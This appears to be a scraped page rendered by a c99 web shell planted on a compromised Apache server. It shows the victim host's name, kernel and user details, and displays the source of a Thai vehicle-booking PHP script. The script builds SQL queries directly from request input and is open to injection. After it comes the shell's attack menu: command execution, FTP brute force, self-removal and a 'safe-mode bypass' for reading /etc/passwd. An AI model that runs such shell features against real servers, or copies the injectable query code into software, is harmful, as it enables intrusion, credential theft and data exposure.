!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Car_depart/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SearchExcelCarList.php (14.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
      require_once("mainfile.php");
    $module_name = basename(dirname(__FILE__));
    include("header.php");
    $index = 2;
    */
    
$filename ="report_".(($_REQUEST['dateStart'])?$_REQUEST['dateStart']:date("d/m/Y"))."-".(($_REQUEST['dateFinish'])?$_REQUEST['dateFinish']:date("d/m/Y")).".xls";
    
header('Content-type: application/xls');
   
header('Content-Disposition: attachment; filename='.$filename);
  
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
    
    
/**  Configuration  */
    
include( "../configuration.php" );
    require_once( 
$_Config_absolute_path "/includes/framework.php" );
    require_once( 
$_Config_absolute_path "/include/Function.php" );
    require_once( 
"../include/Function.php" );
    
/**  Create Database Object  */
    
$dbObj = new DBConn;
    
    
/**  Config Table for This Page  */
        
$myTable "formcaroffice"
        
$myTable1 "personal_tb";
        
$myTable3 "budget_year_tb";
        
$myTablePK "Date_start";
       
$myTableField1 "Date_start";
        
$myTableField2 "Training_name";
    

    
/**  Paging */
    
$page $_GET['page'];
    if( 
$page == "" ) { $page 1; }
    
    
/**  Keyword and Field */
    
$keyword $_REQUEST['keyword'];
    
$selectTypeBook $_REQUEST['selectTypeBook'];
    
    
/**  จำนวนข้อมูล ต่อ 1 หน้า  */
    
$perpage $_REQUEST['perpage'];
    if( 
$perpage == "" ) { $perpage 300; }
    
    if( 
$Year == "" )
        
$Year date("Y")+543;
    
    
        
    
//**  Parameter  */
    
$param "keyword=$keyword&selectTypeBook=$selectTypeBook"
    

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title><?=$_Config_sitename;?> - ข้อมูลงานสารบรรณ - ข้อมูลรายการหนังสือรับ-ส่ง</title>
<script type="text/javascript" src="../js/utilities.js"></script>
<script type="text/javascript" src="../js/calendarDateInput2.js"></script>

</head>
<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<table width="936" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="936" align="left" valign="top" style="padding:10px 0px 5px 10px">
      <?php
        
/**  Config Paging  */
        
if( $perpage == "" ) { $limit $_Config_limit; }
        else { 
$limit $perpage; }
        
        
$scroll $_Config_scroll
        
        
/**  ตั้งค่า Default สำหรับการทำ Order By  */
        
if( $OrderBy == "" ) { $OrderBy $myTablePK; }
                        
        if( !isset(
$_GET['ASCDESC']) ) { $ASCDESC "ASC"; }
                        
        if( 
$_GET['ASCDESC'] == "ASC" ) { $ASCDESC "DESC"; } 
        elseif( 
$_GET['ASCDESC'] == "DESC" ) { $ASCDESC "ASC"; }
        
        
/**  Query เพื่อหา Numrows ก่อน  */
        
if( $keyword != "" ) {  // กรอก Keyword
            
if( $selectTypeBook != "" ) {  // เลือกประเภท
                
switch( $selectTypeBook ) {
                    case 
:
                        
$query " SELECT *  FROM $myTable  WHERE   $myTableField1 LIKE '%$keyword%'  ";
                        break;
                    case 
:
                        
$query " SELECT *  FROM $myTable  WHERE  $myTableField2  LIKE '%$keyword%' ";
                        break;
                    case 
:
                        
$query " SELECT *  FROM $myTable  WHERE   $myTableField3 LIKE '%$keyword%' ";
                        break;
                    case 
:
                        
$query " SELECT *  FROM $myTable  WHERE   $myTableField4 LIKE '%$keyword%' ";
                        break;
                    case 
:
                        
$query " SELECT *  FROM $myTable  WHERE   $myTableField5 LIKE '%$keyword%' ";
                        break;
                } 
# switch
            
} else {  // มีแต่ Keyword ไม่ได้ Select ประเภท
                
$query " SELECT *  FROM $myTable  WHERE        ( $myTableField1 LIKE '%$keyword%'  OR  $myTableField2 LIKE '%$keyword%'  OR  $myTableField3 LIKE '%$keyword%'  OR  $myTableField4 LIKE '%$keyword%'  OR  $myTableField5 LIKE '%$keyword%' )   ";        
                
            } 
# else
        
} else {  // ไม่มีการกรอก Keyword
            
if(isset($_REQUEST['dateStart'])){
                
$query " SELECT *  FROM $myTable  WHERE  Date_start >= '".dmyE2ymdE2($_REQUEST['dateStart'])."'  AND Date_finish <= '".dmyE2ymdE2($_REQUEST['dateFinish'])."'  ";
            }
            else{
                
$query " SELECT *  FROM $myTable ";
            }
        }
        
$result $dbObj->execQuery($query);
        
$numrows $dbObj->_numrows;
        
//echo $query;
        
        /**  Paging  */
        
$display = ( !isset ($_GET['page']) ) ? $_GET['page'];
        
$start = ( ($display $limit) - $limit );
        
/**  Paging  */
        
        
if( $keyword != "" ) { 
            if( 
$selectTypeBook != "" ) { 
                if( isset(
$_GET['OrderBy']) ) {
                    switch( 
$selectTypeBook ) {
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE  $myTableField1 LIKE '%$keyword%'  
                                               ORDER BY  $OrderBy  $ASCDESC "
;
                            break;
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField2 LIKE '%$keyword%'  
                                               ORDER BY  $OrderBy  $ASCDESC "
;
                            break;
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField3 LIKE '%$keyword%'  
                                               ORDER BY  $OrderBy  $ASCDESC "
;
                            break;
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField4 LIKE '%$keyword%'  
                                               ORDER BY  $OrderBy  $ASCDESC "
;
                            break;
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField5 LIKE '%$keyword%'  
                                               ORDER BY  $OrderBy  $ASCDESC "
;
                            break;
                    } 
# switch
                
# if
                
elseif( !isset($_GET['OrderBy']) ) {
                    switch( 
$selectTypeBook ) {
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField1 LIKE '%$keyword%' 
                              ORDER BY $myTablePK  ASC "
;
                            break;
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField2 LIKE '%$keyword%'  
                            ORDER BY $myTablePK  ASC "
;
                            break;
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField3 LIKE '%$keyword%'  
                            ORDER BY $myTablePK  ASC "
;
                            break;
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField4 LIKE '%$keyword%'  
                            ORDER BY $myTablePK  ASC "
;
                            break;
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField5 LIKE '%$keyword%'  
                            ORDER BY $myTablePK  ASC "
;
                            break;
                    } 
# switch
                
# elseif
            
} else {  // หาเฉพาะที่ใส่ Keyword
                
if( isset($_GET['OrderBy']) ) {
                    
$query " SELECT *  FROM $myTable  WHERE   ( $myTableField1 LIKE '%$keyword%'  
                                       OR  $myTableField2 LIKE '%$keyword%'  OR  $myTableField3 LIKE '%$keyword%'  OR  $myTableField4 LIKE '%$keyword%'  
                                       OR  $myTableField5 LIKE '%$keyword%' )   Group By DateCar ,Teacher_code  ORDER BY  DateCar ASC "
;
                } 
                elseif( !isset(
$_GET['OrderBy']) ) {
                    
$query " SELECT *  FROM $myTable  WHERE     ( $myTableField1 LIKE '%$keyword%'   OR  $myTableField2 LIKE '%$keyword%'  OR  $myTableField3 LIKE '%$keyword%'  OR  $myTableField4 LIKE '%$keyword%'  
                                       OR  $myTableField5 LIKE '%$keyword%' )    Group By  DateCar ,Teacher_code  ORDER BY  DateCar  ASC "
;
                }
            } 
# else
        
} else {
            if( isset(
$_GET['OrderBy']) ) {
                
$query " SELECT *  FROM $myTable    Group By  DateCar ,Teacher_code  ORDER BY  DateCar  ASC ";
                
            } 
            elseif( !isset(
$_GET['OrderBy']) ) {
            
                
$query " SELECT *  FROM $myTable  WHERE  Date_start >= '".dmyE2ymdE2($_REQUEST['dateStart'])."'  AND Date_finish <= '".dmyE2ymdE2($_REQUEST['dateFinish'])."'   Group By  DateCar ,Teacher_code ORDER BY DateCar  ASC ";
            } 
# elseif
        
# else
        
$query .= " LIMIT $start, $limit ";
        
$result $dbObj->execQuery($query);
    
?>
     <table width="936" border="0" cellspacing="0" cellpadding="0">
        <form id="myForm" name="myForm" method="post" action="<?=$PHP_SELF;?>?page=<?=$page;?>&amp;Year=<?=$Year;?>">
          <tr>
            <td width="936" height="5"></td>
          </tr>
          <tr>
            
          </tr>
          <tr>
            <td align="center" valign="top"><table width="750" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  
                </tr>
              </table>
              <table width="936" border="0" cellpadding="0" cellspacing="0" class="BORDER-GREY">
                <tr bgcolor="#F8F8F8">
                  <td width="220" align="center" bgcolor="#66CCFF" class="BORDER-LEFT-5"><strong>Subject</strong></td>
                  <td width="43" height="29" align="center" bgcolor="#66CCFF" class="BORDER-LEFT-5"><strong>Start Date</strong></td>
                  <td width="55" align="center" bgcolor="#66CCFF"  class=" PADDING-LEFT-5"><strong>Start Time</strong></td>
                  <td width="49" align="center" bgcolor="#66CCFF"  class=" PADDING-LEFT-5"><strong>End Date</strong></td>
                  <td width="45" align="center" bgcolor="#66CCFF"  class=" PADDING-LEFT-5"><strong>End Time</strong></td>
                  <td width="53" align="center" bgcolor="#66CCFF"  class=" PADDING-LEFT-5"><strong>All Day Event</strong></td>
                  <td width="189" align="center" bgcolor="#66CCFF" class="BORDER-LEFT"><strong>Description</strong></td>
                  <td width="180" align="center" bgcolor="#66CCFF" class="BORDER-LEFT"><strong>Location</strong></td>
                  <td width="42" align="center" bgcolor="#66CCFF" class="BORDER-LEFT"><strong>Private</strong></td>
                </tr>
                <?php 
           $no 
1+($display-1)*$limit;
            while( 
$row $dbObj->fetchArray($result) ) { 
                
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
          
?>
                <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
                  <td align="left" valign="top" class="BORDER-TOP-RIGHT">
                     <?
                $name1  
$row["name1"];
              
$sql "SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId  Where Teacher_code ='$name1'";
              
$result1 mysql_query($sql) or die("Error".mysql_error());
             
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[First_name] $rs2[Teacher_name]&nbsp;&nbsp;$rs2[Teacher_lastname]";?> <?=$row['Training_name'];?>
                </td>
                  <td align="center" valign="top" class="BORDER-TOP-RIGHT">
                    <?php 
                $sday 
$row['Date_start'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month =  intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                    
//echo "$day"." "."$m"." "."$year";
                    
echo $row['Date_start'];
            
?>
                  </td>
                  <td align="left" valign="top" class="PADDING-LEFT-5 BORDER-TOP"><?php  echo $row['Time_start']; ?></td>
                  <td align="center" valign="top" class="PADDING-LEFT-5 BORDER-TOP"><?php 
                $sday 
$row['Date_finish'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month =  intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                    echo 
"$day"." "."$m"." "."$year";
            
?></td>
                  <td align="left" valign="top" class="PADDING-LEFT-5 BORDER-TOP"><?php  echo $row['Time_finish']; ?></td>
                  <td align="left" valign="top" class="PADDING-LEFT-5 BORDER-TOP"><strong>False</strong></td>
                  <td align="left" valign="top" class="BORDER-TOP BORDER-LEFT PADDING-LEFT-5"><?=$row['makeWord'];?><?php 
                 $query2 
" SELECT *  FROM province   WHERE  provinceId='$row[provinceId]'     ";
                 
$result2 $dbObj->execQuery($query2);
                
$rs2 $dbObj->fetchArray($result2);
                      echo 
$rs2[provinceName];
    
?>
  </a>
                    เพื่อ
  <?=$row['Training_name'];?>
 
  <?
                $CarmoId 
$row["CarmoId"];
              
$sql "Select * From   automobile_tb   Where CarmoId ='$CarmoId'";
              
$result1 mysql_query($sql) or die("Error".mysql_error());
             
$rs2 mysql_fetch_array($result1);
               echo 
"$rs2[Acc_name]";?>
                    ทะเบียน
  <?
                $CarmoId 
$row["CarmoId"];
              
$sql "Select * From   automobile_tb   Where CarmoId ='$CarmoId'";
              
$result1 mysql_query($sql) or die("Error".mysql_error());
             
$rs2 mysql_fetch_array($result1);
               echo 
"$rs2[CodeNo]";?>
  </a>
                    พขร
  <?
                $name1  
$row["name1"];
              
$sql "SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId  Where Teacher_code ='$name1'";
              
$result1 mysql_query($sql) or die("Error".mysql_error());
             
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[First_name] $rs2[Teacher_name]&nbsp;&nbsp;$rs2[Teacher_lastname]";?>
  
                    สถานะ
  <?php if( $row['Status']=="อนุมัติ" ) echo "<font color=darkgreen>".$row['Status']."</font>"; else echo "<font color=orangered>".$row['Status']."</font>";?>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ผู้ร่วมเดินทาง
  <?=$row['Make'];?>
                  คน                   <?php
                    $Teacher_code 
=  $row['Teacher_code'] ;
                    
$sql11 " Select *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId Where Teacher_code='$Teacher_code' ";
                    
$result11 mysql_query($sql11);
                    
$rs11 mysql_fetch_array($result11); 
                        echo
"$rs11[First_name]&nbsp;$rs11[Teacher_name]&nbsp; $rs11[Teacher_lastname]";
                 
?></td>
                  <td align="left" valign="top" class="BORDER-TOP BORDER-LEFT PADDING-LEFT-5"><?=$row['makeWord'];?> <?php 
                 $query2 
" SELECT *  FROM province   WHERE  provinceId='$row[provinceId]'     ";
                 
$result2 $dbObj->execQuery($query2);
                
$rs2 $dbObj->fetchArray($result2);
                      echo 
$rs2[provinceName];
    
?></a></td>
                  <td align="left" valign="top" class="BORDER-TOP BORDER-LEFT PADDING-LEFT-5"><strong>False</strong></td>
                </tr>
                <?php 
               $no
++;
            } 
# while 
            
$dbObj->freeresult($result);
          
?>
              </table>
              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                <tr>
                
                </tr>
            </table></td>
          </tr>
          <tr>
         
          </tr></form>
        </table>
    </td>
  </tr>
</table>
<?php // include("footer.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0189 ]--